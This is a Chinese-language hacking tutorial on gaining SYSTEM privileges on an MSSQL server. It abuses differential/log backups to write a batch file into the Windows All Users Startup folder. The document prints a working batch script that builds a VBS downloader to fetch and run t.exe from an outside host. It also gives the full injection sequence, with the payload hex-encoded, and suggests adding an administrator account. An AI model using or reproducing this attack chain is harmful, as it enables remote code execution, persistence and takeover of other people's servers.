MSSQL差异备份取系统权限

 MSSQL差异备份取系统权限

TEAM里的内部资料放久了,现在不放出来,迟早会有人发掘出来的!既然如此就拿出来大家分享吧!
MSSQL差异备份获取webshell 几乎人人皆知,那么我们可以利用差异备份出来的文件 当作恶意代码
让系统执行了之后自动提升权限 或者添加管理员吗? 答案当然可以了,kj021320测试了N次之后跟你说!

那么我们得考虑文件摆放的位置~什么地方系统会运行呢?这个其实算是废话吧!
大家不用想都知道 通用地方 C:/Documents and Settings/All Users/「开始」菜单/程序/启动
呵呵位置有了! 那么我们备份什么文件让系统能执行的呢?
这个是第一个关键点~!
EXE  JS  VBS  BAT这些文件大家第一时间想到的了
那些我一个一个来分析 exe的话!绝对能了! 但是 MSSQL差异备份这么多垃圾肯定会把exe弄坏的!
否决掉
然后到脚本
VBS 我们能不能把 他的垃圾信息注释掉呢? 不然VBS 会执行不了! OK 学过VBS的朋友都知道
VBS里面 有2种注释 '  还有就是 rem
但是还是会有垃圾信息屏蔽不了
否决掉

JS呢? JS里面有多行注释的/**/  但是 /* 不可能在首行吧?
否决掉

最后 剩下我们最熟悉的bat批处理了!
OK我们继续分析 bat里面注释是什么呢?也是REM,失败啊!之前vbs那里不行 这里的rem注释也一样不行的!
那么我们怎么办呢?其实很简单! 当我们在CMD下面敲错了命令系统会怎样呢?

说到这里 要是大家不往文章下面看也一样能想到方法了吧~

OK我们继续探~~这里是最最关键点,差异备份出来的垃圾信息我们可以通过用回车把他提交了!
而系统只当作无用的命令来处理!不影响我们的操作!
问题就这样解决了吗?不是的!~MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作!
那么我们得把语句尽量缩少,越少越好~
OK那我们思路好了就采用bat 写一个VBS的下载者 然后执行这个下载者 最后通过下载者down回来的马子来获取系统权限
下面是我改过的生成下载者的BAT
 
echo Set P=createObject("Microsoft.XMLHTTP")>k.vbs
echo P.Open "GET","http://www.isto.cn/t.exe",0 >>k.vbs
echo P.Send():set G=createObject("ADODB.Stream")>>k.vbs
echo G.Mode=3:G.Type=1:G.Open() >>k.vbs 
echo G.Write P.ResponseBody:G.SaveToFile "t.exe",2 >>k.vbs
k.vbs
t

下一个k.VBS然后k.vbs下载一个t.exe文件保存到本地 直接执行
记得记得我说过的代码前面一定要用回车把垃圾数据提交 最好2以上个回车
然后实现差异备份

alter database ISTO set RECOVERY FULL--
create table cmd (a image)--
backup log ISTO to disk = 'c:/cmd1' with init--
insert into cmd (a) values (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--
backup log ISTO to disk = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/1.bat'--
drop table cmd--

OK bat出来了! 至于怎样让服务器重启呢!这个问题遗留给你们去讨论吧!
要是服务器直接开启了3389 那就更方便了! 直接bat 一个添加管理员的命令更爽!


全文完!

你可能感兴趣的:(MSSQL)